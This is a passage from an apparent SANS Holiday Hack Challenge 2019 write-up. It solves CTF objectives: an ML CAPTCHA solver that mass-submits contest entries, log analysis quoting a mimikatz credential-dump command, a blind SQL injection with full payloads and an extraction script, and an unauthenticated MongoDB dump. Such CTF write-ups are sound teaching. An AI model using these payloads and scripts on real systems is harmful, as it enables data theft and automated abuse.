2019-12-31 13:03:55.086432: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency: 1992000000 Hz
2019-12-31 13:03:55.088571: I tensorflow/compiler/xla/service/service.cc:168] XLA service 0x446a880 executing computations on platform Host. Devices:
2019-12-31 13:03:55.088742: I tensorflow/compiler/xla/service/service.cc:175]   StreamExecutor device (0): Host, Default Version
Using module https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/4 with image size (224, 224)
Found 2394 images belonging to 6 classes.
Found 9582 images belonging to 6 classes.
Found 6 classes: Candy Canes, Christmas Trees, Ornaments, Presents, Santa Hats, Stockings
Model: "sequential"
_________________________________________________________________
Layer (type)                 Output Shape              Param #
=================================================================
keras_layer (KerasLayer)     multiple                  2257984
_________________________________________________________________
dropout (Dropout)            multiple                  0
_________________________________________________________________
dense (Dense)                multiple                  7686
=================================================================
Total params: 2,265,670
Trainable params: 7,686
Non-trainable params: 2,257,984
_________________________________________________________________
None
Epoch 1/5
598/598 [==============================] - 1073s 2s/step - loss: 0.5153 - accuracy: 0.9392 - val_loss: 0.4479 - val_accuracy: 0.9996
Epoch 2/5
598/598 [==============================] - 1071s 2s/step - loss: 0.4573 - accuracy: 0.9995 - val_loss: 0.4402 - val_accuracy: 0.9996
Epoch 3/5
598/598 [==============================] - 1075s 2s/step - loss: 0.4487 - accuracy: 1.0000 - val_loss: 0.4376 - val_accuracy: 0.9996
Epoch 4/5
598/598 [==============================] - 1076s 2s/step - loss: 0.4450 - accuracy: 1.0000 - val_loss: 0.4354 - val_accuracy: 0.9996
Epoch 5/5
598/598 [==============================] - 1081s 2s/step - loss: 0.4423 - accuracy: 1.0000 - val_loss: 0.4343 - val_accuracy: 0.9996
Done with training.
Labels written to capteha_labels.txt
2019-12-31 14:33:36.474227: W tensorflow/python/util/util.cc:299] Sets are not currently considered sequences, but this may change in the future, so consider avoiding using them.
WARNING:tensorflow:From /home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/python/ops/resource_variable_ops.py:1781: calling BaseResourceVariable.__init__ (from tensorflow.python.ops.resource_variable_ops) with constraint is deprecated and will be removed in a future version.
Instructions for updating:
If using Keras pass *_constraint arguments to layers.
W1231 14:33:37.121725 140094772307776 deprecation.py:506] From /home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/python/ops/resource_variable_ops.py:1781: calling BaseResourceVariable.__init__ (from tensorflow.python.ops.resource_variable_ops) with constraint is deprecated and will be removed in a future version.
Instructions for updating:
If using Keras pass *_constraint arguments to layers.
INFO:tensorflow:Assets written to: capteha_model/assets
I1231 14:33:38.405297 140094772307776 builder_impl.py:771] Assets written to: capteha_model/assets
SavedModel model exported to capteha_model
2019-12-31 14:33:39.668104: W tensorflow/core/graph/graph_constructor.cc:761] Node 'StatefulPartitionedCall' has 71 outputs but the _output_shapes attribute specifies shapes for 605 outputs. Output shapes may be inaccurate.
2019-12-31 14:33:41.580706: I tensorflow/core/grappler/devices.cc:60] Number of eligible GPUs (core count >= 8, compute capability >= 0.0): 0 (Note: TensorFlow was not compiled with CUDA support)
2019-12-31 14:33:41.580786: I tensorflow/core/grappler/clusters/single_machine.cc:356] Starting new session
2019-12-31 14:33:41.672872: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:716] Optimization results for grappler item: graph_to_optimize
2019-12-31 14:33:41.672907: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:718]   function_optimizer: Graph size after: 1905 nodes (1640), 3234 edges (2969), time = 43.177ms.
2019-12-31 14:33:41.672913: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:718]   function_optimizer: function_optimizer did nothing. time = 0.76ms.
2019-12-31 14:33:42.822924: I tensorflow/core/grappler/devices.cc:60] Number of eligible GPUs (core count >= 8, compute capability >= 0.0): 0 (Note: TensorFlow was not compiled with CUDA support)
2019-12-31 14:33:42.823025: I tensorflow/core/grappler/clusters/single_machine.cc:356] Starting new session
2019-12-31 14:33:43.046835: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:716] Optimization results for grappler item: graph_to_optimize
2019-12-31 14:33:43.046868: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:718]   constant folding: Graph size after: 790 nodes (-1042), 1855 edges (-1304), time = 156.762ms.
2019-12-31 14:33:43.046878: I tensorflow/core/grappler/optimizers/meta_optimizer.cc:718]   constant folding: Graph size after: 790 nodes (0), 1855 edges (0), time = 26.732ms.
TFLite model exported to capteha_lite_model

I pretty much ran the tool with default parameters, as described in the README. I did change the --batch_size argument to 16, instead of the default of 32, because the program consumed to much RAM and kept crashing. It was still pretty close to total RAM consumption with these parameters. I left the program running on my laptop for about 1h30, without any other programs running, and it generated my model.

Now that we have our model, we need to call it in our capteha_api.py file to categorize our different images. I took example on TensorFlow's own label_image.py.

So here's the functions I created:

def load_labels(filename):
    '''This functions load our different image categories (Candy Canes,
    Christmas Trees, Ornaments, Presents, Santa Hats, and  Stockings)'''
    with open(filename, 'r') as f:
        return [line.strip() for line in f.readlines()]

def image_from_b64(b64_image):
    '''This function creates and image object from the base64 value sent by
    the Frido Sleigh server'''
    img_data = base64.b64decode(b64_image['base64'])
    img = Image.open(io.BytesIO(img_data))

    return img

def categorize_image(interpreter, labels, img):
    '''This function takes an image and our machine learning model, and
    returns the label that matches the image the most'''
    input_details = interpreter.get_input_details()
    output_details = interpreter.get_output_details()

    input_data = np.expand_dims(img, axis=0)
    input_data = (np.float32(input_data) - 127.5) / 127.5

    interpreter.set_tensor(input_details[0]['index'], input_data)

    interpreter.invoke()

    output_data = interpreter.get_tensor(output_details[0]['index'])
    results = np.squeeze(output_data)
    top_result = results.argsort()[-1]

    return labels[top_result]

def main():
    yourREALemailAddress = "<you_should_put_your_real_mail@here.com>"

    # Preparing Tensorflow information. Since it takes some time to load,
    # we load it before calling the API.
    labels = load_labels('./capteha_labels.txt')
    interpreter = tf.lite.Interpreter(model_path='./capteha_lite_model')
    interpreter.allocate_tensors()

    # Creating a session to handle cookies
    s = requests.Session()
    url = "https://fridosleigh.com/"

    # Getting information from the Frido Seligh website
    json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
    b64_images = json_resp['images']                    # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
    challenge_image_type = json_resp['select_type'].split(',')     # The Image types the CAPTEHA Challenge is looking for.
    challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting

    uuid_results = set()

    # Categorizing images
    for b64_image in b64_images:
        img_category = categorize_image(interpreter, labels, image_from_b64(b64_image))
        if img_category in challenge_image_types:
            uuid_results.add(b64_image['uuid'])

    # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
    final_answer = ','.join(uuid_results)

    # [...] the rest of the file is the same as Krampus'

Alright, we have everything we need: we load our model, get the different images, categorize them using our model, and select only the images in categories asked by the CAPTEHA. Let's launch our script:

$ ./capteha_api.py
INFO: Initialized TensorFlow Lite runtime.
Traceback (most recent call last):
  File "./capteha_api.py", line 109, in <module>
    main()
  File "./capteha_api.py", line 73, in main
    img_category = categorize_image(interpreter, labels, image_from_b64(b64_image))
  File "./capteha_api.py", line 41, in categorize_image
    interpreter.set_tensor(input_details[0]['index'], input_data)
  File "/home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/lite/python/interpreter.py", line 346, in set_tensor
    self._interpreter.SetTensor(tensor_index, value)
  File "/home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/lite/python/interpreter_wrapper/tensorflow_wrap_interpreter_wrapper.py", line 136, in SetTensor
    return _tensorflow_wrap_interpreter_wrapper.InterpreterWrapper_SetTensor(self, i, value)
ValueError: Cannot set tensor: Dimension mismatch. Got 112 but expected 224 for dimension 1 of input 175.

We get an error... The message says that there's a dimension mismatch, and that our script expected a dimension of 224. If we take a look at Krampus' image catalogue, we can see that every image has a size of 224 x 224 pixels. If we give an image that does not have the same size, it can't use our model to try and categorize it. So, let's modify our code to resize every CAPTEHA image to be 224 x 224:

def image_from_b64(b64_image):
    img_data = base64.b64decode(b64_image['base64'])
    img = Image.open(io.BytesIO(img_data))
    img = img.resize((224, 224))

    return img

Alright, let's relaunch our script:

$ ./capteha_api.py
INFO: Initialized TensorFlow Lite runtime.
Traceback (most recent call last):
  File "./capteha_api.py", line 110, in <module>
    main()
  File "./capteha_api.py", line 74, in main
    img_category = categorize_image(interpreter, labels, image_from_b64(b64_image))
  File "./capteha_api.py", line 42, in categorize_image
    interpreter.set_tensor(input_details[0]['index'], input_data)
  File "/home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/lite/python/interpreter.py", line 346, in set_tensor
    self._interpreter.SetTensor(tensor_index, value)
  File "/home/user/venv/tensorflow/lib/python3.6/site-packages/tensorflow_core/lite/python/interpreter_wrapper/tensorflow_wrap_interpreter_wrapper.py", line 136, in SetTensor
    return _tensorflow_wrap_interpreter_wrapper.InterpreterWrapper_SetTensor(self, i, value)
ValueError: Cannot set tensor: Dimension mismatch. Got 4 but expected 3 for dimension 3 of input 175.

Hmm, still this dimension mismatch error message. However, the first one talked about "dimension 1". This one talks about "dimension 3". We're talking about images: dimension 1 must be the height, dimension 2 the witdh. What can dimension 3 be? Since we're manipulating PNG images, there's an alpha channel, used to encode the transparency of the background.

I decided to remove the transparent background from the image. I used this StackOverflow's answer to see how to do it using PIL. Here's our new code:

def image_from_b64(b64_image):
    img_data = base64.b64decode(b64_image['base64'])
    first_img = Image.open(io.BytesIO(img_data))

    img = Image.new('RGB', first_img.size, (255, 255, 255))
    img.paste(first_img, mask=first_img.split()[3])
    img = img.resize((224, 224))

    return img

Now, this means that our CAPTEHA images do not have a transparent background anymore, whereas the catalogue images we used to train our model did. This might make our Machine Learning model a little bit unreliable. We could modify our catalogue images to remove the alpha channel, and retrain our model. I opted to try with my initial model, because I was to impatient to train another model.

Sure enough, my model was not the most precise, and I had to try a couple of times. But after four or five tries, my script correctly solved the CAPTEHA:

$ ./capteha_api.py
INFO: Initialized TensorFlow Lite runtime.
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
Submitting lots of entries until we win the contest! Entry #3
[...]
Submitting lots of entries until we win the contest! Entry #103
Submitting lots of entries until we win the contest! Entry #104
{"data":"<h2 id=\"result_header\"> Entries for email address [REDACTED] no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}

Few seconds later, I receive an email:

We managed to win the contest for Krampus!

Objective 9:

Pepper Minstix's Cranberry Pi Challenge

We must take a look at logs in Graylog to find weird events and answer questions.

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file. What is the full-path + filename of the first malicious file downloaded by Minty?

Let's search events with UserAccount:minty. Luckily, one of the first results looks like a malicious file, C:\Users\minty\Downloads\cookie_recipe.exe.

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

Now, we can look for cookie_recipe.exe and events with a DestinationIp attribute. This query has only one result. The ip:port is 192.168.247.175:4444.

What was the first command executed by the attacker?

If we keep looking for cookie_recipe.exe, we can see the commands launched by the attacker. The first one is whoami.

What is the one-word service name the attacker used to escalate privileges?

Still looking at cookie_recipe.exe, we see the interaction with a Windows service with the sc command. The service is called webexservice.

What is the file-path + filename of the binary ran by the attacker to dump credentials?

If we take a look at the webexservice service, we can see the creation of another executable, cookie_recipe2.exe. Let's look for this executable. The results show that the attacker downloaded mimikatz from gentilkiwi's GitHub repository.

Let's look for mimikatz. The results show that a command line "C:\cookie.exe" privilege::debug sekurlsa::logonpasswords exit was launched. The mimikatz executable was therefore saved under C:\cookie.exe.

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Now, we know the attacker's IP is 192.168.247.175. We also know from the analysis of the password spraying attack, that the Event ID for a correct authentication is 4624. Let's look for this Event ID, tied to this IP address. The results all have the same AccountName attribute, alabaster.

What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

Now, I had a hard time answering this one. I looked for events with DestinationPort:3389, and submitted the four different timestamps. However, they were not the correct one. I thought that maybe I should submit them with their UTC value, but to no avail.

I then tried bruteforcing every value between 05:59:00 and 06:02:00, but it was also a fail.

Finally, I manually tried every timestamp for the query EventID:4624 AND DestinationHostname:"elfu-res-wks2" after 05:59:00.

Turns out the correct one is 06:04:28. After inputing the correct answer, the report tells you:

LogonType 10 is used for successful network connections using the RDP client.

So, I guess I should have looked for LogonType:10, which indicates that the connection is fully complete, whereas my first four timestamps were just the establishment of the TCP connection.

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

Now, we know that the second host is elfu-res-wks2. If we keep looking for Event ID 4624 with this SourceHostName, we find two values for DestinationHostname: elfu-res-wks2 (our original workstation) or elfu-res-wks3. The latter must be our third host.

Let's add DestinationHostname="elfu-res-wks3" to our previous query to see the possible value for LogonType. We find that the onlye LogonType is 3.

Therefore, the CSV result is elfu-res-wks2,elfu-res-wks3,3.

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

Now, we can specify a source="elfu-res-wks2" and look for file creation. This query returns a few results. By looking through it, we can find the file C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf.

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

If we look for this file name, we can see that the file was exfiltraded to pastebin.com, via a PowerShell command, with a PID of 1232. Let's look for this PID, and list the different DestinationIp it communicated with.

This query gives us only one IP address: 104.22.3.84.

Now that we have answered every question, we get the following message:

Incident Response Report #7830984301576234 Submitted.

Incident Fully Detected!

Retrieve Scraps of Paper from Server

Krampus is super happy that we managed to win the Frido Sleigh contest for him!

Krampus says

You did it! Thank you so much. I can trust you!

To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.

As for those scraps of paper, I scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, I managed to lock out my account on the server.

Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans?

I give you permission to hack into it, solving Objective 9 in your badge.

And, as long as you're traveling around, be sure to solve any other challenges you happen across.

So, we must hack Krampus' system to recover the scraps of paper. Let's head over to the Student Portal and see what we can do.

The portal presents the university, the different elvish students, and the application process. It's possible to send an application and check our application's status.

Let's see what we can do on these pages:

GET /validator.php HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: */*

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Length: 89

MTAwOTkwNTY5MjE2MTU3Nzk3NzY0NDEwMDk5MDU2OS4yMTY=_MTI5MjY3OTI4NTk2NDgzMjMxNjk4MjE0LjkxMg==

GET /application-check.php?elfmail=test@test.com'&token=MTAwOTkwNTY5MjE2MTU3Nzk3NzY0NDEwMDk5MDU2OS4yMTY%3D_MTI5MjY3OTI4NTk2NDgzMjMxNjk4MjE0LjkxMg%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Length: 2927

[...]
Error: SELECT status FROM applications WHERE elfmail = 'test@test.com'';<br>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test@test.fr''' at line 1

Couple of interesting things:

First, we can see that before every submission to the form, a call is made to https://studentportal.elfu.org/validator.php to get a validation token, that must be sent to the https://studentportal.elfu.org/application-check.php URL.
Second, we have a SQL injection! What's more, the error message is pretty chatty, and gives us the complete SQL statement:

SELECT status FROM applications WHERE elfmail = '<user_input_goes_here>';

We can use this SQL injection to dump the content of the database. However, this does not look to be a UNION-exploitable SQL injection. However, it seems that it could be a boolean-based blin SQL injection.

Let's say we use this as our user input:

garbage@garbage.com' OR '1'='1

The SQL statement becomes:

SELECT status FROM applications WHERE elfmail = 'garbage@garbage.com' OR '1'='1';

The WHERE part of the statement will always be true, because of the OR '1'='1' part. So, it will return the status of the first application, which is still pending:

GET /application-check.php?elfmail=garbage%40garbage.com'+OR+'1'%3d'1&token=MTAwOTkwNjMxMTY4MTU3Nzk3ODYxMjEwMDk5MDYzMS4xNjg%3D_MTI5MjY4MDA3ODk1MDQzMjMxNzAwMTk3LjM3Ng%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=UTF-8
Content-Length: 2723

[...]
Your application is still pending!
[...]

Now, if we use this as our user input:

garbage@garbage.com' OR '1'='0

The SQL statement becomes:

SELECT status FROM applications WHERE elfmail = 'garbage@garbage.com' OR '1'='0';

Now, the OR clause in our WHERE statement is always false (because 1 is never equal to 0). So the statement will return the status for our email address garbage@garbage.com, which does not exist in the database. Therefore, our application is not found:

GET /application-check.php?elfmail=garbage%40garbage.com'+OR+'1'%3d'0&token=MTAwOTkwNjMzOTg0MTU3Nzk3ODY1NjEwMDk5MDYzMy45ODQ%3D_MTI5MjY4MDExNDk5NTIzMjMxNzAwMjg3LjQ4OA%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=UTF-8
Content-Length: 2710

[...]
No application found!
[...]

We now have a way to evaluate boolean statements. If our statement is true, the server will return "Your application is still pending!". If it's false, it will return "No application found!".

Let's say we want to find the first letter of the current database. We can input:

garbage@garbage.com' OR (SELECT MID(DATABASE(),0,1))='a

If the first letter is a, the server will answer "Your application is still pending!". If not, it will answer "No application found!":

GET /application-check.php?elfmail=garbage%40garbage.com'+OR+(SELECT+MID(DATABASE(),1,1))%3d'a&token=MTAwOTkwNjc5NDI0MTU3Nzk3OTM2NjEwMDk5MDY3OS40MjQ%3D_MTI5MjY4MDY5NjYyNzIzMjMxNzAxNzQxLjU2OA%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=UTF-8
Content-Length: 2710

[...]
No application found!
[...]

So, the first letter is not a. We keep trying letters, until finally:

GET /application-check.php?elfmail=garbage%40garbage.com'+OR+(SELECT+MID(DATABASE(),1,1))%3d'e&token=MTAwOTkwNjc5NDI0MTU3Nzk3OTM2NjEwMDk5MDY3OS40MjQ%3D_MTI5MjY4MDY5NjYyNzIzMjMxNzAxNzQxLjU2OA%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=UTF-8
Content-Length: 2710

[...]
Your application is still pending!
[...]

So, the first letter of the database is e. We can now find the next letter. If we keep going, we'll find that the data base is elfu.

Awesome, we can extract information from the database! Let's automate the process, because doing this manually takes too much time. Luckily for me, I've written in the past a little Python script to help me exploit blind SQL injection. We just have to make a few modifications to the injection.py file, to modify the syntax of the injection, and to call the validator URL to get our validation token before every request:

def injection(target_url, string, column, table, where, index):
    token_url = 'https://studentportal.elfu.org/validator.php'

    print('[wait] retrieving data:', end='\t')
    sys.stdout.flush()
    data = ''
    i = 1

    # While we don't have the entire data
    while True:
        char = 0
        for j in range(1,8):
            # The injection performed here is URL-based
            # To use another mean of injection (HTTP Headers, Cookies...)
            # change the crafting between the hashtags

            #### CHANGE HERE
            r = requests.get(token_url)
            token = r.text

            if '?' in target_url:
                separator = '&'
            else:
                separator = '?'

            url = target_url + separator + "elfmail=garbage@garbage.com' OR " + \
                    "(select mid(lpad(bin(ord(mid({0},{1},1))),7,'0'),{2},1) " + \
                    "from {3} {4} " + \
                    "limit {5},1)='1&token={6}"
            url = url.format(column, i, j, table, where, index, token)

            r = requests.get(url)
            #### END OF CHANGE

Now, you can see that the syntax of the injection is a little bit different from what I show earlier. Let's break it down:

SELECT MID(LPAD(BIN(ORD(MID(<column_name>,<index_i>,1))),7,'0'),<index_j>,1) FROM <table_name>

I first call MID to retrieve a particular character from the data.
I then call ORD, to get the ASCII code of this letter.
I then call BIN, to convert this ASCII code to binary.
Then, I call LPAD(___, 7, '0') to pad this binary string with zeros, until it has a length of 7.
I then call MID again, to extract a particular bit from this binary string.
I then test to see if this bit is equal to one or not.

This allows me to retrieve the string I'm interested in bit by bit, instead of character by character. It's a little bit faster.

So, let's run this script to retrieve information from the database. First, let's get the different tables for the elfu database:

$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c table_name -t information_schema.tables -w "WHERE table_schema='elfu'" -i 0
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    applications
found: applications
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c table_name -t information_schema.tables -w "WHERE table_schema='elfu'" -i 1
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    krampus
found: krampus
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c table_name -t information_schema.tables -w "WHERE table_schema='elfu'" -i 2
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    students
found: students
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c table_name -t information_schema.tables -w "WHERE table_schema='elfu'" -i 3
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:
no result found

Alright, the table krampus seems interesting. Let's see the columns of this table:

$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c column_name -t information_schema.columns -w "WHERE table_name='krampus'" -i 0
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data: id
found: id
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c column_name -t information_schema.columns -w "WHERE table_name='krampus'" -i 1
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data: path
found: path
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c column_name -t information_schema.columns -w "WHERE table_name='krampus'" -i 2
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:
no result found

Two columns, id and path. Let's extract data from the path column:

$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 0
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/0f5f510e.png
found: /krampus/0f5f510e.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 1
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/1cc7e121.png
found: /krampus/1cc7e121.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 2
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/439f15e6.png
found: /krampus/439f15e6.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 3
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/667d6896.png
found: /krampus/667d6896.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 4
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/adb798ca.png
found: /krampus/adb798ca.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 5
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:    /krampus/ba417715.png
found: /krampus/ba417715.png
$ ./blind_injection.py -u "https://studentportal.elfu.org/application-check.php" -s 'still pending!' -c path -t krampus -i 6
Blind Injection (Copyright 2014 Yannick Méheut <useless (at) utouch (dot) fr>)

[done] retrieving data:
no result found

We found six different paths to PNG files. We can download them from the Student Portal. Weirdly enough, I couldn't download these files from my browser, I had to download them using wget. Anyway, here are the six scraps of paper we were searching:

We can try to reconstruct the full letter in GIMP, by moving the pieces:

Here's what it says:

From the Desk of [...]

Date: August 23, 20[...]

Memo to Self:

Finally! I've figured out how to destroy Christmas! Santa has a brand new cutting edge sleigh guidance technology, called the Super Sled-o-matic.

I've figured out a way to poison the data going into the system so that it will divert Santa's sled on Christmas Eve!

Santa will be unable to make the trip and the holiday season will be destroyed! Santa's own technology will undermine him!

That's what they deserve for not listening to my suggestions for supporting other holiday characters!

Bwahahahahaha!

The upper-right corner is torn, so we can't say who it's from. But the background drawing looks familiar...

Objective 10:

Holly Evergreen's Cranberry Pi Challenge

We must help Holly find the information she's looking for in MongoDB:

Hello dear player!  Won't you please come help me get my wish!
I'm searching teacher's database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard for me to find the quiz solution!

Find the solution hidden in the MongoDB on this system.

elf@c6444428f1f4:~$

Let's try to connect to MongoDB:

elf@c6444428f1f4:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2019-12-24T11:54:26.073+0000 W NETWORK  [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused
2019-12-24T11:54:26.073+0000 E QUERY    [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed


Hmm... what if Mongo isn't running on the default port?

We can't seem to connect to MongoDB on the default port. As the hint suggests, maybe it's running on a different port:

elf@c6444428f1f4:~$ netstat -tlpn
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:12121         0.0.0.0:*               LISTEN      -

Alright, there seems to be a program listening on port 12121. Let's try that:

elf@c6444428f1f4:~$ mongo --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
        http://docs.mongodb.org/
Questions? Try the support group
        http://groups.google.com/group/mongodb-user
Server has startup warnings:
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2019-12-24T11:53:42.670+0000 I CONTROL  [initandlisten]

It's working! Let's list the available databases:

> show dbs
admin   0.000GB
config  0.000GB
elfu    0.000GB
local   0.000GB
test    0.000GB

Hmm, it might take a while to search in all these databases. They don't seem to be particularly heavy. Maybe we can dump them all and search for the solution using regular shell tools. We can dump the content of MongoDB using mongodump:

elf@c6444428f1f4:~$ mongodump --port 12121
2019-12-24T11:59:43.690+0000    writing admin.system.version to
2019-12-24T11:59:43.691+0000    done dumping admin.system.version (1 document)
2019-12-24T11:59:43.691+0000    writing elfu.metadata to
2019-12-24T11:59:43.691+0000    writing elfu.line to
2019-12-24T11:59:43.691+0000    writing elfu.tincan to
2019-12-24T11:59:43.692+0000    writing elfu.solution to
2019-12-24T11:59:43.692+0000    done dumping elfu.line (1 document)
2019-12-24T11:59:43.692+0000    writing elfu.bait to
2019-12-24T11:59:43.692+0000    done dumping elfu.metadata (15 documents)
2019-12-24T11:59:43.692+0000    writing elfu.tackle to
2019-12-24T11:59:43.693+0000    done dumping elfu.bait (1 document)
2019-12-24T11:59:43.693+0000    done dumping elfu.tackle (1 document)
2019-12-24T11:59:43.693+0000    writing elfu.chum to
2019-12-24T11:59:43.693+0000    writing test.redherring to
2019-12-24T11:59:43.693+0000    done dumping elfu.tincan (1 document)
2019-12-24T11:59:43.693+0000    done dumping elfu.chum (1 document)
2019-12-24T11:59:43.740+0000    done dumping test.redherring (1 document)
2019-12-24T11:59:43.740+0000    done dumping elfu.solution (1 document)

Now that everything is dumped, let's take a loot at the available files:

elf@c6444428f1f4:~$ ls -lR dump/
dump/:
total 12
drwxr-xr-x 2 elf elf 4096 Dec 24 11:59 admin
